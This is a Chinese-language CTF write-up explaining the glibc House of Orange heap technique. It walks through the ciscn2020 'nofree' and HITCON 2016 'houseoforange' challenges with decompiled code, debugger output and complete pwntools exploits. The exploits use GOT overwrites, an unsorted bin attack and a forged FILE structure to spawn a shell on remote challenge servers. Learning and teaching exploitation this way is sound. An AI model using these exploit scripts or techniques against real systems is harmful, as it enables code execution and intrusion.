House of orange Surager

House of 🍊

利用原理

🍊的利用背景:程序根本没有free函数。

结果:能把原来的top chunk放进unsorted bin。从而在没有free的情况下得到一个unsorted bin。

检测机制

top chunk不满足分配要求时进入以下分支:

/* Otherwise, relay to handle system-dependent cases */
 else
	{
		 void *p = sysmalloc(nb, av); 
		if (p != NULL && __builtin_expect (perturb_byte, 0)) alloc_perturb (p, bytes); return p; 
	}

调用sysmalloc的形式向系统申请堆,我们需要用brk的形式申请堆,这样就可以让原来的top chunk进unsorted bin了。所以进行brk扩展的条件:

if ((unsigned long)(nb) >= (unsigned long)(mp_.mmap_threshold) && (mp_.n_mmaps < mp_.n_mmaps_max))

malloc的尺寸不大于mp_.mmap_threshold,小于128k。

另外在sysmalloc中还有对top chunk的检测:

assert((old_top == initial_top(av) && old_size == 0) || 
	((unsigned long) (old_size) >= MINSIZE &&
	 prev_inuse(old_top) && 
	((unsigned long)old_end & pagemask) == 0));

top chunk的大小大于MINSIZE(0x10),inuse位为1,而且要页对齐。

所以条件为

  1. 伪造的chunk的size要页对齐。(通俗说就是后三个十六进制位为0)
  2. size要大于MINSIZE。
  3. size要小于下一个申请的chunk的size+MINSIZE。
  4. inuse位置为1。
#define fake_size 0x1fe1 

int main(void)
 { 
	void *ptr; 
	ptr=malloc(0x10); 
	ptr=(void *)((int)ptr+24); 
	*((long long*)ptr)=fake_size;
	malloc(0x2000); 
	malloc(0x60); 
}

0x1fe1对齐页,再malloc0x2000直接进unsorted bin。

如果 top chunk 的size比较小,也可能进fastbin。

利用方法

第一种利用方法是获得一个fastbin,然后再通过溢出进行fastbin attack。

一个例子是ciscn2020的nofree。(放在下面)

第二种利用方法是获得一个unsorted bin,然后进行unsorted bin attack或者是FSOP。

一个例子是houseoforange_hitcon_2016,在House of 🍊之后直接接FSOP。

实例分析

ciscn2020 nofree

 ○ file nofree
nofree: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=ce6a329974820359e8ff0d9bc08f37c752dbd40b, stripped
 ○ checksec nofree
[*] '/home/surager/nofree/nofree'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

64位的动态链接ELF,没有开启PIE保护。

程序只设置了两个功能,new和edit。

程序在分配堆块时使用了strdup,根据输入的字符个数进行分配。但是没有记录实际的size。

int new(){
...
	if ( n >= 0 && n <= 0x90 )
    {
      *&chunklist[0x10 * v1 + 0x100] = mymalloc(n);
      n = v2;
      *&chunklist[0x10 * v1 + 0x108] = v2;
    }
...
}

char *__fastcall mymalloc(unsigned int size)
{
  memset(chunklist, 0, 0x100uLL);
  printf("content: ", 0LL);
  my_read(chunklist, size);
  return strdup(chunklist);
}

因此在edit处造成了一个溢出。

__int64 edit()	
{
...
	if ( result )
    {
      printf("content: ");
      result = my_read(*&chunklist[0x10 * v1 + 0x100], *&chunklist[0x10 * v1 + 0x108]);
    }
...
}

除此之外,程序没有其他功能。

因此,我们需要进行House Of Orange攻击,得到free过的堆块。由于我们能分配的最大chunk大小为0xa0,不足以得到一个unsortbin中的chunk。因此只能先用fastbin进行调整。

for i in range(30):
    add(0,0x70,'a'*0x70)
for i in range(2):
    add(0,0x90,'a'*0x10)
add(0,0x90,'a'*0x20)
edit(0,'\x00'*0x28+p64(0x91)) # 修改topchunk的size
add(1,0x90,'a'*0x90)

此时我们得到一个fastbin,而且可以通过溢出修改其fd。因此可以利用fastbin attack进行一次分配。

pwndbg> x/6gx 0x6021c0
0x6021c0:	0x000000000060ff50	0x0000000000000090  # 可以溢出到fastbin
0x6021d0:	0x0000000000630010	0x0000000000000090
0x6021e0:	0x0000000000000000	0x0000000000000000
pwndbg> heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x60ff70 --> 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x6300a0 (size : 0x21f60) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0

利用0x6021d8把堆块分配过去。

chunk1 = 0x6021d0
edit(0,'\x00'*0x28+p64(0x71)+p64(chunk1))
add(0,0x90,'a'*0x60)
add(1,0x70,'a')
add(0,0x70,'a'*0x60)
pwndbg> x/6gx 0x6021c0
0x6021c0:	0x00000000006021e0	0x0000000000000070
0x6021d0:	0x00000000013640b0	0x0000000000000070
0x6021e0:	0x6161616161616161	0x6161616161616161

此时我们可以利用chunk0控制chunk2指针,从而实现任意地址写。

为了分配任意大小的chunk,我们需要将memset的got表改成ret的地址。

ret = 0x0000000000400C34
memset_got = 0x602038
edit(0,p64(memset_got)+p64(0x90))
edit(2,p64(ret))

此时再次进行House Of Orange攻击,利用buf区(0x6020c0)残留的字符将top chunk送入unsorted bin。

for i in range(28):
    add(1,0x70,'a'*0x70)
for i in range(3):
    add(1,0x70,'a'*0x10+'\x00')
buf = 0x6020c0
edit(0,p64(buf+0x90)+p64(0x90))
edit(2,'a'*0x50)
add(2,0x70,'a'*0x20+'\x00')
edit(2,'\x00'*0x28+p64(0xb1))
add(1,0x90,'a'*0x90)

得到一个可控的unsorted bin chunk。

pwndbg> heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x1a010f0 (size : 0x21f10) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x19dff50 (size : 0x90)
pwndbg> x/6gx 0x6021c0
0x6021c0:	0x00000000006021e0	0x0000000000000070
0x6021d0:	0x0000000001a01010	0x0000000000000090
0x6021e0:	0x00000000019dff30	0x0000000000000070 # 溢出到unsorted bin

之后进行unsorted bin attack,将一个libc地址写入buf区。

payload = '\x00'*0x28+p64(0x91)+p64(0)+p64(buf-0x10)
edit(2,payload)
add(1,0x90,'a'*0x80+'\x00')

得到一个libc地址

pwndbg> x/8gx 0x6020c0
0x6020c0:	0x00007fa36b06ab78	0x6161616161616161

之后修改strdup_got为puts_plt,再new,得到libc地址。

edit(0,p64(strdup_got))
edit(2,p64(puts_plt))
add(1,0x20,'\xa0')
libc.address = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3c4ba0
log.info('libc.address : '+hex(libc.address))

修改strdup_got为libc.sym[‘system’]然后new,内容为/bin/sh,成功执行system(“/bin/sh”)。

edit(2,p64(libc.sym['system']))
add(1,0x20,'/bin/sh\x00')

完整exp:

from pwn import *
elf = ELF("./nofree")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
#context.log_level = 'debug'

def add(idx,size,con):
    io.sendlineafter("choice>> ",'1')
    io.sendlineafter("idx:",str(idx))
    io.sendlineafter("size: ",str(size))
    io.sendafter("content: ",con)
    
def edit(idx,con):
    io.sendlineafter("choice>>",'2')
    io.sendlineafter("idx:",str(idx))
    io.sendafter("content: ",con)

ret = 0x0000000000400C34
buf = 0x6020c0
chunk1 = 0x6021d0

memset_got = 0x602038
strdup_got = 0x602068
puts_plt = 0x4006D0

#io = process("./nofree")
io = remote("101.200.53.148",12301)
for i in range(30):    
    add(0,0x70,'a'*0x70)
for i in range(2):
    add(0,0x90,'a'*0x10)
add(0,0x90,'a'*0x20)
edit(0,'\x00'*0x28+p64(0x91))
add(1,0x90,'a'*0x90)
edit(0,'\x00'*0x28+p64(0x71)+p64(chunk1))
add(0,0x90,'a'*0x60)
add(1,0x70,'a')
add(0,0x70,'a'*0x60)
edit(0,p64(memset_got)+p64(0x90))
edit(2,p64(ret))
for i in range(28):
    add(1,0x70,'a'*0x70)
for i in range(3):
    add(1,0x70,'a'*0x10+'\x00')
edit(0,p64(buf+0x90)+p64(0x90))
edit(2,'a'*0x50)
add(2,0x70,'a'*0x20+'\x00')
edit(2,'\x00'*0x28+p64(0xb1))
add(1,0x90,'a'*0x90)
payload = '\x00'*0x28+p64(0x91)+p64(0)+p64(buf-0x10)
edit(2,payload)
add(1,0x90,'a'*0x80+'\x00')
edit(0,p64(strdup_got))
edit(2,p64(puts_plt))
add(1,0x20,'\xa0')
libc.address = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3c4ba0
log.info('libc.address : '+hex(libc.address))
edit(2,p64(libc.sym['system']))
add(1,0x20,'/bin/sh\x00')
io.interactive()

后来学长看了看,应该不是最优解。还能改printf的。

houseoforange_hitcon_2016

$ file houseoforange_hitcon_2016
houseoforange_hitcon_2016: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a58bda41b65d38949498561b0f2b976ce5c0c301, stripped
$ checksec houseoforange_hitcon_2016 
[*] '/home/surager/work/houseoforange_hitcon_2016'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

64位程序,保护全开。

if ( malloctimes > 3u )
  {
    puts("Too many house");
    exit(1);
  }

程序限制了malloc的次数为4次。

  v3 = malloc(0x10uLL);
  printf("Length of name :");
  size = read_int();
  if ( size > 0x1000 )
    size = 4096;
  v3[1] = malloc(size);
  if ( !v3[1] )
  {
    puts("Malloc error !!!");
    exit(1);
  }
  printf("Name :");
  myread(v3[1], size);
  v4 = calloc(1uLL, 8uLL);
  printf("Price of Orange:", 8LL);
  *v4 = read_int();
  orangemenu();
  printf("Color of Orange:");
  size_4 = read_int();
  if ( size_4 != 56746 && (size_4 <= 0 || size_4 > 7) )
  {
    puts("No such color");
    exit(1);
  }
  if ( size_4 == 56746 )
    v4[1] = 56746;
  else
    v4[1] = size_4 + 30;
  *v3 = v4;
  chunkptr = v3;
  ++malloctimes;
  return puts("Finish")

先malloc一个chunk,然后用这个chunk再存一个自由size的chunk和0x20的chunk。

  if ( freetimes > 2u )
    return puts("You can't upgrade more");
  if ( !chunkptr )
    return puts("No such house !");
  printf("Length of name :");
  v2 = read_int();
  if ( v2 > 0x1000 )
    v2 = 4096;
  printf("Name:");
  myread(chunkptr[1], v2);
  printf("Price of Orange: ", v2);
  v1 = *chunkptr;
  *v1 = read_int();
  orangemenu();
  printf("Color of Orange: ");
  v3 = read_int();
  if ( v3 != 56746 && (v3 <= 0 || v3 > 7) )
  {
    puts("No such color");
    exit(1);
  }
  if ( v3 == 56746 )
    *(*chunkptr + 4LL) = 56746;
  else
    *(*chunkptr + 4LL) = v3 + 30;
  ++freetimes;
  return puts("Finish");

限制edit次数为3次。存在溢出。

没有free。

思路

1.直接修改top chunk的size,触发house of orange(largebin范围内)。然后切割unsorted bin。得到libc和heap地址。

2.使用unsorted bin攻击_IO_list_all,然后伪造unsortedbin成struct _IO_FILE_plus,使malloc发生错误时能够执行伪造的堆块的内容。

3.使用malloc,得到shell。

exp

from pwn import *
#io = process(["./houseoforange_hitcon_2016"])
io = remote("node3.buuoj.cn",27667)
elf = ELF("./houseoforange_hitcon_2016")
libc = ELF("./x64-libc-2.23.so")
context.terminal = ['tmux','splitw','-h']
#context.log_level = 'debug'

def add(size,name):
        io.sendlineafter("Your choice : ",'1')
        io.sendlineafter("Length of name :",str(size))
        io.sendafter("Name :",name)
        io.sendlineafter("Price of Orange:",'1')
        io.sendlineafter("Color of Orange:",'3')

def show():
        io.sendlineafter("Your choice : ",'2')

def edit(size,name):
        io.sendlineafter("Your choice : ",'3')
        io.sendlineafter("Length of name :",str(size))
        io.sendafter("Name:",name)
        io.sendlineafter("Price of Orange:",'1')
        io.sendlineafter("Color of Orange:",'3')

def dbg():
        gdb.attach(io)
        pause()
        exit(0)

add(0x30,'asdf')
payload = '\x00'*0x30 + p64(0) + p64(0x21) + p64(0x0000002100000001) + p64(0) +p64(0) + p64(0xf81)
edit(len(payload),payload)
add(0x1000,'a')
add(0x400,'a')
show()
libc.address = u64(io.recvuntil("\x7f")[-6:].ljust(8,'\x00'))-0x3c5161
log.info("libc.address : "+hex(libc.address))
edit(0x11,'a'*0x11)
show()
io.recvuntil("a"*0x10)
heapbase = u64(io.recv(6).ljust(8,'\x00'))-0x61
log.info("heapbase : "+hex(heapbase))
payload = 'a'*0x400
payload += p64(0) + p64(0x21) + p64(0x0000002100000001) + p64(0)
fakefile = '/bin/sh\x00' + p64(0x61) + p64(0) + p64(libc.sym["_IO_list_all"]-0x10) +p64(0) + p64(1)
fakefile = fakefile.ljust(0xc0,'\x00')
fakefile += p64(0)*3 + p64(heapbase+0x5e8)+p64(0)*2+p64(libc.sym["system"])
payload += fakefile
edit(len(payload),payload)
io.sendline("1")
io.interactive()